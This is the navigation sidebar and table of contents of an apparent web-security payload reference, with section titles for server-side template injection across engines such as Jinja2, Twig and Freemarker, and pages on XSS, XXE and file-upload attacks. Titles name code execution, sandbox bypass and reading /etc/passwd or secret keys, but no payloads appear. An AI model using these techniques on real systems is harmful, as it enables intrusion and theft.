<li class="md-nav__item">
<a href="#handlebars-command-execution" class="md-nav__link">
<span class="md-ellipsis">
Handlebars - Command Execution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#jade-codepen" class="md-nav__link">
<span class="md-ellipsis">
Jade / Codepen
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#java" class="md-nav__link">
<span class="md-ellipsis">
Java
</span>
</a>
<nav class="md-nav" aria-label="Java">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#java-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Java - Basic injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#java-retrieve-the-systems-environment-variables" class="md-nav__link">
<span class="md-ellipsis">
Java - Retrieve the systems environment variables
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#java-retrieve-etcpasswd" class="md-nav__link">
<span class="md-ellipsis">
Java - Retrieve /etc/passwd
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#django-templates" class="md-nav__link">
<span class="md-ellipsis">
Django Templates
</span>
</a>
<nav class="md-nav" aria-label="Django Templates">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#detection_1" class="md-nav__link">
<span class="md-ellipsis">
Detection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#django-templates-for-post-exploitation" class="md-nav__link">
<span class="md-ellipsis">
Django Templates for post-exploitation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#cross-site-scripting" class="md-nav__link">
<span class="md-ellipsis">
Cross-site scripting
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#debug-information-leak" class="md-nav__link">
<span class="md-ellipsis">
Debug information leak
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#leaking-apps-secret-key" class="md-nav__link">
<span class="md-ellipsis">
Leaking apps Secret Key
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#admin-site-url-leak" class="md-nav__link">
<span class="md-ellipsis">
Admin Site URL leak
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#admin-username-and-password-hash-leak" class="md-nav__link">
<span class="md-ellipsis">
Admin username and password hash leak
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#jinja2" class="md-nav__link">
<span class="md-ellipsis">
Jinja2
</span>
</a>
<nav class="md-nav" aria-label="Jinja2">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#jinja2-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Basic injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#jinja2-template-format" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Template format
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#jinja2-debug-statement" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Debug Statement
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#jinja2-dump-all-used-classes" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Dump all used classes
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#jinja2-dump-all-config-variables" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Dump all config variables
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#jinja2-read-remote-file" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Read remote file
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#jinja2-write-into-remote-file" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Write into remote file
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#jinja2-remote-code-execution" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Remote Code Execution
</span>
</a>
<nav class="md-nav" aria-label="Jinja2 - Remote Code Execution">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#jinja2-forcing-output-on-blind-rce" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Forcing output on blind RCE
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#exploit-the-ssti-by-calling-ospopenread" class="md-nav__link">
<span class="md-ellipsis">
Exploit the SSTI by calling os.popen().read()
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#exploit-the-ssti-by-calling-subprocesspopen" class="md-nav__link">
<span class="md-ellipsis">
Exploit the SSTI by calling subprocess.Popen
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#exploit-the-ssti-by-calling-popen-without-guessing-the-offset" class="md-nav__link">
<span class="md-ellipsis">
Exploit the SSTI by calling Popen without guessing the offset
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#exploit-the-ssti-by-writing-an-evil-config-file" class="md-nav__link">
<span class="md-ellipsis">
Exploit the SSTI by writing an evil config file.
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#jinja2-filter-bypass" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Filter bypass
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#jinjava" class="md-nav__link">
<span class="md-ellipsis">
Jinjava
</span>
</a>
<nav class="md-nav" aria-label="Jinjava">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#jinjava-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Jinjava - Basic injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#jinjava-command-execution" class="md-nav__link">
<span class="md-ellipsis">
Jinjava - Command execution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#lessjs" class="md-nav__link">
<span class="md-ellipsis">
Lessjs
</span>
</a>
<nav class="md-nav" aria-label="Lessjs">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#lessjs-ssrf-lfi" class="md-nav__link">
<span class="md-ellipsis">
Lessjs - SSRF / LFI
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#lessjs-v3-command-execution" class="md-nav__link">
<span class="md-ellipsis">
Lessjs &lt; v3 - Command Execution
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#plugins" class="md-nav__link">
<span class="md-ellipsis">
Plugins
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#lodash" class="md-nav__link">
<span class="md-ellipsis">
Lodash
</span>
</a>
<nav class="md-nav" aria-label="Lodash">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#lodash-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Lodash - Basic Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#lodash-command-execution" class="md-nav__link">
<span class="md-ellipsis">
Lodash - Command Execution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#mako" class="md-nav__link">
<span class="md-ellipsis">
Mako
</span>
</a>
<nav class="md-nav" aria-label="Mako">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#direct-access-to-os-from-templatenamespace" class="md-nav__link">
<span class="md-ellipsis">
Direct access to os from TemplateNamespace:
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#pebble" class="md-nav__link">
<span class="md-ellipsis">
Pebble
</span>
</a>
<nav class="md-nav" aria-label="Pebble">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#pebble-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Pebble - Basic injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#pebble-code-execution" class="md-nav__link">
<span class="md-ellipsis">
Pebble - Code execution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#ruby" class="md-nav__link">
<span class="md-ellipsis">
Ruby
</span>
</a>
<nav class="md-nav" aria-label="Ruby">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#ruby-basic-injections" class="md-nav__link">
<span class="md-ellipsis">
Ruby - Basic injections
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ruby-retrieve-etcpasswd" class="md-nav__link">
<span class="md-ellipsis">
Ruby - Retrieve /etc/passwd
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ruby-list-files-and-directories" class="md-nav__link">
<span class="md-ellipsis">
Ruby - List files and directories
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ruby-code-execution" class="md-nav__link">
<span class="md-ellipsis">
Ruby - Code execution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#smarty" class="md-nav__link">
<span class="md-ellipsis">
Smarty
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#twig" class="md-nav__link">
<span class="md-ellipsis">
Twig
</span>
</a>
<nav class="md-nav" aria-label="Twig">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#twig-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Twig - Basic injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#twig-template-format" class="md-nav__link">
<span class="md-ellipsis">
Twig - Template format
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#twig-arbitrary-file-reading" class="md-nav__link">
<span class="md-ellipsis">
Twig - Arbitrary File Reading
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#twig-code-execution" class="md-nav__link">
<span class="md-ellipsis">
Twig - Code execution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#java-velocity" class="md-nav__link">
<span class="md-ellipsis">
Java - Velocity
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#java-spring" class="md-nav__link">
<span class="md-ellipsis">
Java - Spring
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#pattemplate" class="md-nav__link">
<span class="md-ellipsis">
patTemplate
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#phplib-and-html_template_phplib" class="md-nav__link">
<span class="md-ellipsis">
PHPlib and HTML_Template_PHPLIB
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#plates" class="md-nav__link">
<span class="md-ellipsis">
Plates
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
<span class="md-ellipsis">
Tabnabbing
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_49">
<span class="md-nav__icon md-icon"></span>
Tabnabbing
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Tabnabbing/" class="md-nav__link">
<span class="md-ellipsis">
Tabnabbing
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
<span class="md-ellipsis">
Type Juggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_50">
<span class="md-nav__icon md-icon"></span>
Type Juggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Type%20Juggling/" class="md-nav__link">
<span class="md-ellipsis">
Type Juggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
<span class="md-ellipsis">
Upload Insecure Files
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51">
<span class="md-nav__icon md-icon"></span>
Upload Insecure Files
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/" class="md-nav__link">
<span class="md-ellipsis">
Upload Insecure Files
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_2" >
<label class="md-nav__link" for="__nav_51_2" id="__nav_51_2_label" tabindex="0">
<span class="md-ellipsis">
CVE Ffmpeg HLS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_2_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_2">
<span class="md-nav__icon md-icon"></span>
CVE Ffmpeg HLS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS/" class="md-nav__link">
<span class="md-ellipsis">
FFmpeg HLS vulnerability
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_3" >
<label class="md-nav__link" for="__nav_51_3" id="__nav_51_3_label" tabindex="0">
<span class="md-ellipsis">
Configuration Apache .htaccess
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_3_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_3">
<span class="md-nav__icon md-icon"></span>
Configuration Apache .htaccess
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
<span class="md-ellipsis">
.htaccess upload
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_4" >
<label class="md-nav__link" for="__nav_51_4" id="__nav_51_4_label" tabindex="0">
<span class="md-ellipsis">
Configuration Busybox httpd.conf
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_4_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_4">
<span class="md-nav__icon md-icon"></span>
Configuration Busybox httpd.conf
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Configuration%20Busybox%20httpd.conf/" class="md-nav__link">
<span class="md-ellipsis">
Index
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_5" >
<label class="md-nav__link" for="__nav_51_5" id="__nav_51_5_label" tabindex="0">
<span class="md-ellipsis">
Configuration uwsgi.ini
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_5_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_5">
<span class="md-nav__icon md-icon"></span>
Configuration uwsgi.ini
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Configuration%20uwsgi.ini/" class="md-nav__link">
<span class="md-ellipsis">
uWSGI configuration file
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_6" >
<label class="md-nav__link" for="__nav_51_6" id="__nav_51_6_label" tabindex="0">
<span class="md-ellipsis">
Extension Flash
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_6_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_6">
<span class="md-nav__icon md-icon"></span>
Extension Flash
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Extension%20Flash/" class="md-nav__link">
<span class="md-ellipsis">
Index
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_7" >
<label class="md-nav__link" for="__nav_51_7" id="__nav_51_7_label" tabindex="0">
<span class="md-ellipsis">
Extension PDF JS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_7_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_7">
<span class="md-nav__icon md-icon"></span>
Extension PDF JS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Extension%20PDF%20JS/" class="md-nav__link">
<span class="md-ellipsis">
Generate PDF File Containing JavaScript Code
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_8" >
<label class="md-nav__link" for="__nav_51_8" id="__nav_51_8_label" tabindex="0">
<span class="md-ellipsis">
Picture ImageMagick
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_8_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_8">
<span class="md-nav__icon md-icon"></span>
Picture ImageMagick
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Picture%20ImageMagick/" class="md-nav__link">
<span class="md-ellipsis">
ImageMagick Exploits
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_9" >
<label class="md-nav__link" for="__nav_51_9" id="__nav_51_9_label" tabindex="0">
<span class="md-ellipsis">
Zip Slip
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_9">
<span class="md-nav__icon md-icon"></span>
Zip Slip
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Zip%20Slip/" class="md-nav__link">
<span class="md-ellipsis">
Zip Slip
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
<span class="md-ellipsis">
Web Cache Deception
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_52">
<span class="md-nav__icon md-icon"></span>
Web Cache Deception
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Web%20Cache%20Deception/" class="md-nav__link">
<span class="md-ellipsis">
Web Cache Deception
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
<span class="md-ellipsis">
Web Sockets
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53">
<span class="md-nav__icon md-icon"></span>
Web Sockets
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Web%20Sockets/" class="md-nav__link">
<span class="md-ellipsis">
Web Sockets
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
<span class="md-ellipsis">
XPATH Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_54">
<span class="md-nav__icon md-icon"></span>
XPATH Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XPATH%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XPATH Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
<span class="md-ellipsis">
XSLT Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_55">
<span class="md-nav__icon md-icon"></span>
XSLT Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XSLT%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XSLT Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
<span class="md-ellipsis">
XSS Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_56">
<span class="md-nav__icon md-icon"></span>
XSS Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XSS%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross Site Scripting
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/XSS%20in%20Angular/" class="md-nav__link">
<span class="md-ellipsis">
XSS in Angular and AngularJS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/XSS%20with%20Relative%20Path%20Overwrite/" class="md-nav__link">
<span class="md-ellipsis">
XSS with Relative Path Overwrite - IE 8/9 and lower
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
<span class="md-ellipsis">
XXE Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_57">
<span class="md-nav__icon md-icon"></span>
XXE Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XXE%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XML External Entity
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
<span class="md-ellipsis">
LEARNING AND SOCIALS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_58">
<span class="md-nav__icon md-icon"></span>
LEARNING AND SOCIALS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
<span class="md-ellipsis">
Books
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
<span class="md-ellipsis">
Twitter
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
<span class="md-ellipsis">
Youtube
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
<span class="md-ellipsis">
template vuln
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_59">
<span class="md-nav__icon md-icon"></span>
template vuln
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../_template_vuln/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Title
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</div>
</div>
</div>
<div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
<div class="md-sidebar__scrollwrap">
<div class="md-sidebar__inner">
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#tools" class="md-nav__link">
<span class="md-ellipsis">
Tools
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#methodology" class="md-nav__link">
<span class="md-ellipsis">
Methodology
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#detection" class="md-nav__link">
<span class="md-ellipsis">
Detection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#aspnet-razor" class="md-nav__link">
<span class="md-ellipsis">
ASP.NET Razor
</span>
</a>
<nav class="md-nav" aria-label="ASP.NET Razor">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#aspnet-razor-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
ASP.NET Razor - Basic injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#aspnet-razor-command-execution" class="md-nav__link">
<span class="md-ellipsis">
ASP.NET Razor - Command execution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#expression-language-el" class="md-nav__link">
<span class="md-ellipsis">
Expression Language EL
</span>
</a>
<nav class="md-nav" aria-label="Expression Language EL">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#expression-language-el-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Expression Language EL - Basic injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#expression-language-el-properties" class="md-nav__link">
<span class="md-ellipsis">
Expression Language EL - Properties
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#expression-language-el-one-liner-injections-not-including-code-execution" class="md-nav__link">
<span class="md-ellipsis">
Expression Language EL - One-Liner injections not including code execution
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#expression-language-el-code-execution" class="md-nav__link">
<span class="md-ellipsis">
Expression Language EL - Code Execution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#freemarker" class="md-nav__link">
<span class="md-ellipsis">
Freemarker
</span>
</a>
<nav class="md-nav" aria-label="Freemarker">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#freemarker-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Freemarker - Basic injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#freemarker-read-file" class="md-nav__link">
<span class="md-ellipsis">
Freemarker - Read File
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#freemarker-code-execution" class="md-nav__link">
<span class="md-ellipsis">
Freemarker - Code execution
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#freemarker-sandbox-bypass" class="md-nav__link">
<span class="md-ellipsis">
Freemarker - Sandbox bypass
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#groovy" class="md-nav__link">
<span class="md-ellipsis">
Groovy
</span>
</a>
<nav class="md-nav" aria-label="Groovy">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#groovy-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Groovy - Basic injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#groovy-read-and-create-file" class="md-nav__link">
<span class="md-ellipsis">
Groovy - Read and create File
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#groovy-http-request" class="md-nav__link">
<span class="md-ellipsis">
Groovy - HTTP request:
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#groovy-command-execution" class="md-nav__link">
<span class="md-ellipsis">
Groovy - Command Execution
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#groovy-sandbox-bypass" class="md-nav__link">
<span class="md-ellipsis">
Groovy - Sandbox Bypass
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#handlebars" class="md-nav__link">
<span class="md-ellipsis">
Handlebars
</span>
</a>
<nav class="md-nav" aria-label="Handlebars">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#handlebars-command-execution" class="md-nav__link">
<span class="md-ellipsis">
Handlebars - Command Execution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#jade-codepen" class="md-nav__link">
<span class="md-ellipsis">
Jade / Codepen
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#java" class="md-nav__link">
<span class="md-ellipsis">
Java
</span>
</a>
<nav class="md-nav" aria-label="Java">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#java-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Java - Basic injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#java-retrieve-the-systems-environment-variables" class="md-nav__link">
<span class="md-ellipsis">
Java - Retrieve the systems environment variables
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#java-retrieve-etcpasswd" class="md-nav__link">
<span class="md-ellipsis">
Java - Retrieve /etc/passwd
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#django-templates" class="md-nav__link">
<span class="md-ellipsis">
Django Templates
</span>
</a>
<nav class="md-nav" aria-label="Django Templates">
<ul class="md-nav__list">
<li class="md-nav__item">
